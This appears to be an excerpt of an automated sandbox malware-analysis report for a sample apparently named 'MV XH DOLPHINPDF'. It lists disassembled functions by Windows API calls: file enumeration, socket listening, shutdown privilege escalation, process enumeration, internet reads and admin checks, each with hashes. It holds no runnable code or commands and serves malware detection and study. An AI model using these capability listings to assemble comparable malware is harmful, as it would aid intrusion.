Sleep.KERNEL32(0000000A), ref: 000EF6DB
_wcscmp.LIBCMT ref: 000EF6EF
_wcscmp.LIBCMT ref: 000EF70A
FindNextFileW.KERNEL32(?,?), ref: 000EF7A8
FindClose.KERNEL32(00000000), ref: 000EF7BE

Strings

*.*, xrefs: 000EF690

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: c456ef1ae55bb4cd44177d2896bfc53f4c97ef503ca88b7ce227fee92ed7fa20
Instruction ID: 3abf57d8046458db7ed59b519803c1a66859823ef40d1ee75bae0ae1f4519e33
Opcode Fuzzy Hash: c456ef1ae55bb4cd44177d2896bfc53f4c97ef503ca88b7ce227fee92ed7fa20
Instruction Fuzzy Hash: 7141907190424A9FCF65EF65CC89AEEBBB4FF05310F14456AE894A31A1DB709E84CF90

Function 000958C0 Relevance: 11.0, APIs: 7, Instructions: 532COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00095A05
_memmove.LIBCMT ref: 00095A55
_memmove.LIBCMT ref: 00095ABB

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 3980381abf3f55906446f5966e2fb00876c507788d25733ad508b17e171db2c4
Instruction ID: 0a3bb9a648e5755ecfc94cc2a8b53e2e7ec792baa2ef6b1cab774ccdc5bcd058
Opcode Fuzzy Hash: 3980381abf3f55906446f5966e2fb00876c507788d25733ad508b17e171db2c4
Instruction Fuzzy Hash: 9F128B70A00609DFDF14DFA5D985AEEB7F5FF48300F10852AE446A7252EB35AD11CB61

Function 00095680 Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 516COMMON

Download Yara Rule

APIs

Part of subcall function 000A0FF6: std::exception::exception.LIBCMT ref: 000A102C
Part of subcall function 000A0FF6: __CxxThrowException@8.LIBCMT ref: 000A1041

_memmove.LIBCMT ref: 000D062F
_memmove.LIBCMT ref: 000D0744
_memmove.LIBCMT ref: 000D07EB

Strings

yZ, xrefs: 000D0881, 000D07FF

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID: yZ
API String ID: 1300846289-2649327543
Opcode ID: d2b0e97db8caa2b68a08190ef4ad73f6fd8b023f88d4d21d43b2414e9011d5a0
Instruction ID: ebbbf1b4db792d155da089c57815b7e7cb88b804dfe26efb947d609f068c0f36
Opcode Fuzzy Hash: d2b0e97db8caa2b68a08190ef4ad73f6fd8b023f88d4d21d43b2414e9011d5a0
Instruction Fuzzy Hash: F1028170E00209DBDF14DF65D981AAEBBB5FF44300F14806AE84AEB356EB31DA51DB91

Function 000E545F Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 000D8CC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 000D8D0D
Part of subcall function 000D8CC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 000D8D3A
Part of subcall function 000D8CC3: GetLastError.KERNEL32 ref: 000D8D47

ExitWindowsEx.USER32(?,00000000), ref: 000E549B

Strings

@, xrefs: 000E548E
, xrefs: 000E5489
SeShutdownPrivilege, xrefs: 000E546B

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 1a32aa19b7bb1412e1f154a86966212a1203146732ec0c2e7d00109624f634bc
Instruction ID: 629d74979704b0a017aec509b905be068bcb6ab3097551929d40467e3633d1f5
Opcode Fuzzy Hash: 1a32aa19b7bb1412e1f154a86966212a1203146732ec0c2e7d00109624f634bc
Instruction Fuzzy Hash: AC0147B1695B456EF7B85276DC4BBBA72A8EB0074FF200825FC46F20C3DA904C8082A0

Function 00093190 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

Oa, xrefs: 00093482

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: __itow__swprintf
String ID: Oa
API String ID: 674341424-2176709037
Opcode ID: 92a1e024297cb226fd7249220a67819d0ac54b094523820aef8d1492eb2b3a2f
Instruction ID: dc9478ca9e54f17cd8355f739c5915a1aa77fcff51abf4b54d35d3c843654882
Opcode Fuzzy Hash: 92a1e024297cb226fd7249220a67819d0ac54b094523820aef8d1492eb2b3a2f
Instruction Fuzzy Hash: 2D226A715083019FCB24EF64C891BAEB7E4BF88714F14491DF89A97292DB71EA04DF92

Function 000F6596 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 000F65EF
WSAGetLastError.WSOCK32(00000000), ref: 000F65FE
bind.WSOCK32(00000000,?,00000010), ref: 000F661A
listen.WSOCK32(00000000,00000005), ref: 000F6629
WSAGetLastError.WSOCK32(00000000), ref: 000F6643
closesocket.WSOCK32(00000000,00000000), ref: 000F6657

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: ba3d7fd846c7d53099f4e8a8a019e333679eb8bb57ff705f395fa6b8e42b01de
Instruction ID: 4a774bb2ea59a6690262a215032c86dbf4470095ce1995a2df49bcf73836fe53
Opcode Fuzzy Hash: ba3d7fd846c7d53099f4e8a8a019e333679eb8bb57ff705f395fa6b8e42b01de
Instruction Fuzzy Hash: AF216D316002089FCB10EF64C886BBEB7E9EF45720F14815AFA96E7792CB71AD41DB51

Function 00081287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00082612: GetWindowLongW.USER32(?,000000EB), ref: 00082623

DefDlgProcW.USER32(?,?,?,?,?), ref: 000819FA
GetSysColor.USER32(0000000F), ref: 00081A4E
SetBkColor.GDI32(?,00000000), ref: 00081A61

Part of subcall function 00081290: DefDlgProcW.USER32(?,00000020,?), ref: 000812D8

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 48f26191ca3ad2d3bca8d028ea9301dff6fd727ca9d37262ca313e4d2b998ae8
Instruction ID: 72db934a7c14080e740739f6041a045510f990b5d83deb148d595a7c18ed6f7e
Opcode Fuzzy Hash: 48f26191ca3ad2d3bca8d028ea9301dff6fd727ca9d37262ca313e4d2b998ae8
Instruction Fuzzy Hash: 68A1EE71105944BAE638BB289C95DFF3ADDFF4A385B14021AF4C2D6592CBA48D4393B3

Function 000F6A5A Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 000F80A0: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 000F80CB

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 000F6AB1
WSAGetLastError.WSOCK32(00000000), ref: 000F6ADA
bind.WSOCK32(00000000,?,00000010), ref: 000F6B13
WSAGetLastError.WSOCK32(00000000), ref: 000F6B20
closesocket.WSOCK32(00000000,00000000), ref: 000F6B34

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: a3c3586f8d3be0adae4d5314f18e734caf0e95f386e69d817b718bfa66b782b4
Instruction ID: 781c915db6218a7995c869229c81cf12496c0d9e850351d52da5ef1f22aefc18
Opcode Fuzzy Hash: a3c3586f8d3be0adae4d5314f18e734caf0e95f386e69d817b718bfa66b782b4
Instruction Fuzzy Hash: AE41B575600214AFEB14BF64DC86FBE77A4AB04710F44805DFA9AAB3C3DB715D018B92

Function 001055FD Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 0010564C
IsWindowEnabled.USER32 ref: 0010565A
GetForegroundWindow.USER32(?,?,00000001), ref: 00105667
IsIconic.USER32 ref: 00105675
IsZoomed.USER32 ref: 00105683

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 2300c7475cbeb84361de62ae6853a07d3faa7db37d2e8e6de8633a95750ec41d
Instruction ID: 675f00419cdc5272b7ccc755720bb82fd2ba7be1afaddbfca831d57b66c80df7
Opcode Fuzzy Hash: 2300c7475cbeb84361de62ae6853a07d3faa7db37d2e8e6de8633a95750ec41d
Instruction Fuzzy Hash: 3B11C431300A106FE7216F26DC45A6F7B9EFF44761B454429F8C6D7281CBB29942CEA5

Function 000EC602 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 000EC69D
CoCreateInstance.OLE32(00112D6C,00000000,00000001,00112BDC,?), ref: 000EC6B5

Part of subcall function 00087F41: _memmove.LIBCMT ref: 00087F82

CoUninitialize.OLE32 ref: 000EC922

Strings

.lnk, xrefs: 000EC631, 000EC659, 000EC663

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: f69bd557a032a3a91302c4cbc9b9f9a8098589f868dfe8f80bf431de5638acee
Instruction ID: 77bbb62c87b7d1b171f5b57629fc34e35c4ee8fdd8ef6de84144dbad532372c1
Opcode Fuzzy Hash: f69bd557a032a3a91302c4cbc9b9f9a8098589f868dfe8f80bf431de5638acee
Instruction Fuzzy Hash: 86A11A71108205AFD704FF54C881EABB7E8FF98704F04496DF196971A2EB71EA49CB92

Function 000FC304 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,000C1D88,?), ref: 000FC312
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 000FC324

Strings

GetSystemWow64DirectoryW, xrefs: 000FC31E
kernel32.dll, xrefs: 000FC30D

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: f96916dbceda0b09d0992da368d7789120f0b6b9727477187b17110319ddc62e
Instruction ID: d21bc1a0a1d6a4f9eba335d97e27aa0e2238a87d5942ee1c83e9a634e1a30a97
Opcode Fuzzy Hash: f96916dbceda0b09d0992da368d7789120f0b6b9727477187b17110319ddc62e
Instruction Fuzzy Hash: F6E08C7420030BCFEB344B25C806E9676E4EB08384B80843DE9C5C2E50E7B0D881CAA0

Function 000FF121 Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 000FF151
Process32FirstW.KERNEL32(00000000,?), ref: 000FF15F

Part of subcall function 00087F41: _memmove.LIBCMT ref: 00087F82

Process32NextW.KERNEL32(00000000,?), ref: 000FF21F
CloseHandle.KERNEL32(00000000,?,?,?), ref: 000FF22E

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: 5904a033aa6d33aa792da69b581213aa95ea164e3127e941939f59e9c06bfb5d
Instruction ID: da87db7436d534975ac1135b5969de9c633960ffb2b8d0253d42701761f1d350
Opcode Fuzzy Hash: 5904a033aa6d33aa792da69b581213aa95ea164e3127e941939f59e9c06bfb5d
Instruction Fuzzy Hash: 64516E715083119FD314EF24DC86EABB7E8BF94710F54482DF59597252EB70D908CB92

Function 000DEB07 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 000DEB19

Strings

(, xrefs: 000DEB5F
|, xrefs: 000DEB49

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: bb390f5e175458490918fcd4b16f82d66b2945c4a85a97b96f4165c11b9be2e6
Instruction ID: 8a41d766d06fb06ce1e782b2cadb136fddca94ae4df058d0d323f75d0c726cb8
Opcode Fuzzy Hash: bb390f5e175458490918fcd4b16f82d66b2945c4a85a97b96f4165c11b9be2e6
Instruction Fuzzy Hash: 71323675A007059FD728DF19C481AAAB7F0FF48320B15C56EE89ADB3A2E770E941CB50

Function 000F25E2 Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000), ref: 000F26D5
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 000F270C

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: ac3fbdd3f00dffaae5a4c3ca365057ee731e8fbca7aa18854e452bd3578d2926
Instruction ID: e65d79d618a1d5b7ffcb13e033593008d0bb4676e3f319b96d61144ff4324abe
Opcode Fuzzy Hash: ac3fbdd3f00dffaae5a4c3ca365057ee731e8fbca7aa18854e452bd3578d2926
Instruction Fuzzy Hash: EC41D37550430DBFEB20EA94DC85EBFB7FCEB40714F10406AF701E6941EAB19E81A665

Function 000EB59E Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 000EB5AE
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 000EB608
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 000EB655

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: abefa9324706550671e32425fae4ad25471faed91c377d5005958cfb118e5290
Instruction ID: 2e6712937a0d1fda559c592f39a4826f8157980c837908ecfac873e2a3326015
Opcode Fuzzy Hash: abefa9324706550671e32425fae4ad25471faed91c377d5005958cfb118e5290
Instruction Fuzzy Hash: AA213035A00518EFCB00EFA5D885AEEBBF8FF48310F1480A9E945AB352DB319956CB51

Function 000D8CC3 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 000A0FF6: std::exception::exception.LIBCMT ref: 000A102C
Part of subcall function 000A0FF6: __CxxThrowException@8.LIBCMT ref: 000A1041

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 000D8D0D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 000D8D3A
GetLastError.KERNEL32 ref: 000D8D47

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: 4d5a42140c059f750f627c2e03baef60447f8fde8b51b2aee336a195e017177c
Instruction ID: c9e92b256f5a570dc52a03bdd5dda3003b9194aa605260105c7f234a2eefdc97
Opcode Fuzzy Hash: 4d5a42140c059f750f627c2e03baef60447f8fde8b51b2aee336a195e017177c
Instruction Fuzzy Hash: AA116DB1414309AFE7289F54DC86D6BB7BDEB44710B20C52EF45696641EB70B8418B60

Function 000E4021 Relevance: 4.6, APIs: 3, Instructions: 61fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 000E404B
DeviceIoControl.KERNEL32(00000000,002D1400,00000007,0000000C,?,0000000C,?,00000000), ref: 000E4088
CloseHandle.KERNEL32(00000000,?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 000E4091

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: d73eb678c86658b5e8d5bcc8cbddc9d45d55ca1c989bbb3442a5f5ae486dbd61
Instruction ID: 6f98095cdf49749bd4af1df443c70ac4697c26d187096977d466f0cad28176cf
Opcode Fuzzy Hash: d73eb678c86658b5e8d5bcc8cbddc9d45d55ca1c989bbb3442a5f5ae486dbd61
Instruction Fuzzy Hash: 6A1170B1900228BEE7209BE9DC45FAFBBBCEB08750F00066ABA04F7191C2B4594587A1

Function 000E4C03 Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 000E4C2C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 000E4C43
FreeSid.ADVAPI32(?), ref: 000E4C53

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 4bbac396eb183ee494e08532bc52c1dee6b117dfb1937aa051c2c8617df463f4
Instruction ID: d8fc8ab38a49242a30de4d0c0fb43e4d5ca318448a790225edc2f3ddeb2bd75d
